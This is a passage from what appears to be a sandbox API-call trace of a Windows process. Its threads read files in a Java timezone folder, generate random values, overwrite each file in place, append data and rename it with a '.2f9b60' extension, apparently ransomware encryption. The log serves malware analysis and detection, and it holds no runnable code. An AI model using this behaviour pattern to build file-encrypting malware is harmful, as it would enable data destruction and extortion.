Flags=0x8, Size=0x70) returned 0x1b85e710 [0180.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddba80 [0180.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddba80) returned 1 [0180.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cddba80 [0180.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddafd0 [0180.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb000 [0180.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb000) returned 1 [0180.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0180.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c240) returned 1 [0180.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x423a94e0 [0180.438] SetFilePointerEx (in: hFile=0x2c14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.438] WriteFile (in: hFile=0x2c14, lpBuffer=0x423a94e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x30c6fb30, lpOverlapped=0x0 | out: lpBuffer=0x423a94e0*, lpNumberOfBytesWritten=0x30c6fb30*=0x100, lpOverlapped=0x0) returned 1 [0184.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0184.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052440 [0184.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052440) returned 1 [0184.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d1c0 [0184.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052440 [0184.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420536d0 [0184.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420536d0) returned 1 [0184.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0184.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x420536d0 [0184.342] sprintf (in: _Dest=0x420536d0, _Format="%c%c" | out: _Dest="2e") returned 2 [0184.342] sprintf (in: _Dest=0x420536d2, _Format="%c%c" | out: _Dest="da") returned 2 [0184.342] sprintf (in: _Dest=0x420536d4, _Format="%c%c" | out: _Dest="fa") returned 2 [0184.342] sprintf (in: _Dest=0x420536d6, _Format="%c%c" | out: _Dest="b4") returned 2 [0184.342] sprintf (in: _Dest=0x420536d8, _Format="%c%c" | out: _Dest="00") returned 2 [0184.342] sprintf (in: _Dest=0x420536da, _Format="%c%c" | out: _Dest="d5") returned 2 [0184.342] sprintf (in: _Dest=0x420536dc, _Format="%c%c" | out: _Dest="02") returned 2 [0184.342] sprintf (in: _Dest=0x420536de, _Format="%c%c" | out: _Dest="46") returned 2 [0184.342] sprintf (in: _Dest=0x420536e0, _Format="%c%c" | out: _Dest="52") returned 2 [0184.342] sprintf (in: _Dest=0x420536e2, _Format="%c%c" | out: _Dest="68") returned 2 [0184.342] sprintf (in: _Dest=0x420536e4, _Format="%c%c" | out: _Dest="af") returned 2 [0184.342] sprintf (in: _Dest=0x420536e6, _Format="%c%c" | out: _Dest="19") returned 2 [0184.342] sprintf (in: _Dest=0x420536e8, _Format="%c%c" | out: _Dest="b2") returned 2 [0184.343] sprintf (in: _Dest=0x420536ea, _Format="%c%c" | out: _Dest="39") returned 2 [0184.343] RtlInitAnsiString (in: DestinationString=0x30c6fba8, SourceString="2edafab400d502465268af19b239" | out: DestinationString="2edafab400d502465268af19b239") [0184.343] RtlAnsiStringToUnicodeString (in: DestinationString=0x30c6fb78, SourceString="2edafab400d502465268af19b239", AllocateDestinationString=1 | out: DestinationString="2edafab400d502465268af19b239") returned 0x0 [0184.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97fd0 [0184.343] RtlFreeAnsiString (AnsiString="2") [0184.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420536d0) returned 1 [0184.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0184.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052440) returned 1 [0184.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a94e0) returned 1 [0184.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddba80) returned 1 [0184.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddafd0) returned 1 [0184.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbb70) returned 1 [0184.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbb40) returned 1 [0184.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19050) returned 1 [0184.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ff0) returned 1 [0184.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f30) returned 1 [0184.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x42c23200 [0184.347] wcscat (in: _Dest=0x42c23200, _Source="2edafab" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2edafab") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2edafab" [0184.348] wcscat (in: _Dest=0x42c23200, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2edafab.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2edafab.2f9b60" [0184.348] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2edafab.2f9b60", NtPathName=0x30c6fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2edafab.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0184.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050bf80 Thread: id = 2815 os_tid = 0x19dc [0159.917] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dakar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\dakar")) returned 0x20 [0165.808] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dakar", dwFileAttributes=0x20) returned 1 [0166.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dakar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\dakar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c1c [0167.855] GetFileSizeEx (in: hFile=0x2c1c, lpFileSize=0x306efc20 | out: lpFileSize=0x306efc20*=77) returned 1 [0167.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19020 [0167.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f90 [0167.856] NtQuerySystemTime (in: CurrentTime=0x306efae0 | out: CurrentTime=0x306efae0*=132462177729802000) returned 0x0 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0xa22508a [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x3ea68f98 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x6cd33f86 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x6feb80f8 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x1f3e92b2 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x53022bc2 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x412dabe9 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x10c18e5f [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x2f1962cf [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x6c6925 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x1bde0b74 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x431d79f8 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x78fc3e11 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x61d84662 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x258ac876 [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x573a73bd [0167.856] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x6c6925 [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x2454d83b [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x6891418d [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x78f0effc [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x5c6bc141 [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0xc5bea88 [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x5fd4829e [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x1dbf0a91 [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x3e8fed20 [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x1c455795 [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x59258848 [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x249eee3c [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x5c3de772 [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x2456e2e3 [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x3f83df7c [0167.857] RtlRandomEx (in: Seed=0x306efad0 | out: Seed=0x306efad0) returned 0x781e8946 [0167.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f60 [0167.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0167.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18db0 [0167.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0167.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f90) returned 1 [0167.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c290 [0167.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0167.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42928ed0 [0167.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4292cae0 [0167.868] ReadFile (in: hFile=0x2c1c, lpBuffer=0x42928ed0, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x306efad0, lpOverlapped=0x0 | out: lpBuffer=0x42928ed0*, lpNumberOfBytesRead=0x306efad0*=0x4d, lpOverlapped=0x0) returned 1 [0167.869] SetFilePointerEx (in: hFile=0x2c1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.869] WriteFile (in: hFile=0x2c1c, lpBuffer=0x4292cae0*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x306efad4, lpOverlapped=0x0 | out: lpBuffer=0x4292cae0*, lpNumberOfBytesWritten=0x306efad4*=0x4d, lpOverlapped=0x0) returned 1 [0180.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9560 [0180.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd93b0 [0180.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd93b0) returned 1 [0180.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4292cae0) returned 1 [0180.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42928ed0) returned 1 [0180.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0180.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c290) returned 1 [0180.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0180.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c290 [0180.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0180.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd93b0 [0180.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd93b0) returned 1 [0180.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1a0 [0180.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd93b0 [0180.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd93e0 [0180.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd93e0) returned 1 [0180.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0180.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c290) returned 1 [0180.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x423a8d70 [0180.499] SetFilePointerEx (in: hFile=0x2c1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.499] WriteFile (in: hFile=0x2c1c, lpBuffer=0x423a8d70*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x306efbf0, lpOverlapped=0x0 | out: lpBuffer=0x423a8d70*, lpNumberOfBytesWritten=0x306efbf0*=0xfc, lpOverlapped=0x0) returned 1 [0184.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0184.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cf0 [0184.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cf0) returned 1 [0184.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b82d780 [0184.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cf0 [0184.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cc0 [0184.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cc0) returned 1 [0184.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0184.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x15) returned 0x1b82d7a0 [0184.389] sprintf (in: _Dest=0x1b82d7a0, _Format="%c%c" | out: _Dest="50") returned 2 [0184.389] sprintf (in: _Dest=0x1b82d7a2, _Format="%c%c" | out: _Dest="c3") returned 2 [0184.389] sprintf (in: _Dest=0x1b82d7a4, _Format="%c%c" | out: _Dest="40") returned 2 [0184.389] sprintf (in: _Dest=0x1b82d7a6, _Format="%c%c" | out: _Dest="82") returned 2 [0184.389] sprintf (in: _Dest=0x1b82d7a8, _Format="%c%c" | out: _Dest="a1") returned 2 [0184.389] sprintf (in: _Dest=0x1b82d7aa, _Format="%c%c" | out: _Dest="87") returned 2 [0184.389] sprintf (in: _Dest=0x1b82d7ac, _Format="%c%c" | out: _Dest="f3") returned 2 [0184.389] sprintf (in: _Dest=0x1b82d7ae, _Format="%c%c" | out: _Dest="80") returned 2 [0184.389] sprintf (in: _Dest=0x1b82d7b0, _Format="%c%c" | out: _Dest="ff") returned 2 [0184.389] sprintf (in: _Dest=0x1b82d7b2, _Format="%c%c" | out: _Dest="2a") returned 2 [0184.389] RtlInitAnsiString (in: DestinationString=0x306efc68, SourceString="50c34082a187f380ff2a" | out: DestinationString="50c34082a187f380ff2a") [0184.389] RtlAnsiStringToUnicodeString (in: DestinationString=0x306efc38, SourceString="50c34082a187f380ff2a", AllocateDestinationString=1 | out: DestinationString="50c34082a187f380ff2a") returned 0x0 [0192.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9e9f0 [0192.138] RtlFreeAnsiString (AnsiString="5") [0192.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d7a0) returned 1 [0192.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d780) returned 1 [0192.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cf0) returned 1 [0192.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8d70) returned 1 [0192.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1a0) returned 1 [0192.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd93b0) returned 1 [0192.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0192.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9560) returned 1 [0192.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19020) returned 1 [0192.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f60) returned 1 [0192.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18db0) returned 1 [0192.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x42060fb0 [0192.144] wcscat (in: _Dest=0x42060fb0, _Source="50c34" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\50c34") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\50c34" [0192.144] wcscat (in: _Dest=0x42060fb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\50c34.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\50c34.2f9b60" [0192.144] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\50c34.2f9b60", NtPathName=0x306efc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\50c34.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431ca7c0 Thread: id = 2816 os_tid = 0x19e0 [0159.918] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dar_es_Salaam" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\dar_es_salaam")) returned 0x20 [0165.809] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dar_es_Salaam", dwFileAttributes=0x20) returned 1 [0166.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dar_es_Salaam" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\dar_es_salaam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bdc [0167.689] GetFileSizeEx (in: hFile=0x2bdc, lpFileSize=0x3135fd60 | out: lpFileSize=0x3135fd60*=85) returned 1 [0167.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bc0 [0167.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c50 [0167.689] NtQuerySystemTime (in: CurrentTime=0x3135fc20 | out: CurrentTime=0x3135fc20*=132462177728086000) returned 0x0 [0167.689] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x4ef017f0 [0167.689] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x5510b26d [0167.689] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x332c9560 [0167.689] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x70e944ef [0167.689] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x7c044cd7 [0167.689] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x6e91f8 [0167.689] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x686f72c9 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x6ec4fa33 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x40b3ffc9 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x4e53d581 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0xaea7bf2 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x5369ad31 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x2ec1bb25 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x8a14292 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x839a982 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x47a1f149 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x519b2b6f [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x5d19f565 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x7e1c6f3b [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x6bf2149e [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x1cb55fce [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x742cbe9c [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x70bc140e [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x3497a341 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x44119e7c [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x1fd38dca [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x664b2872 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x6f46c977 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x2a2f0998 [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x2438d62e [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x78539f8f [0167.690] RtlRandomEx (in: Seed=0x3135fc10 | out: Seed=0x3135fc10) returned 0x280eb088 [0167.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c20 [0167.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0167.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b60 [0167.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0167.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0c50) returned 1 [0167.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be30 [0167.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0167.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4201f0f0 [0167.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4201b4e0 [0167.701] ReadFile (in: hFile=0x2bdc, lpBuffer=0x4201f0f0, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x3135fc10, lpOverlapped=0x0 | out: lpBuffer=0x4201f0f0*, lpNumberOfBytesRead=0x3135fc10*=0x55, lpOverlapped=0x0) returned 1 [0167.702] SetFilePointerEx (in: hFile=0x2bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.702] WriteFile (in: hFile=0x2bdc, lpBuffer=0x4201b4e0*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x3135fc14, lpOverlapped=0x0 | out: lpBuffer=0x4201b4e0*, lpNumberOfBytesWritten=0x3135fc14*=0x55, lpOverlapped=0x0) returned 1 [0184.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7010 [0184.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7040 [0184.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7040) returned 1 [0184.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201b4e0) returned 1 [0184.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201f0f0) returned 1 [0184.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0184.223] RtlFreeHeap 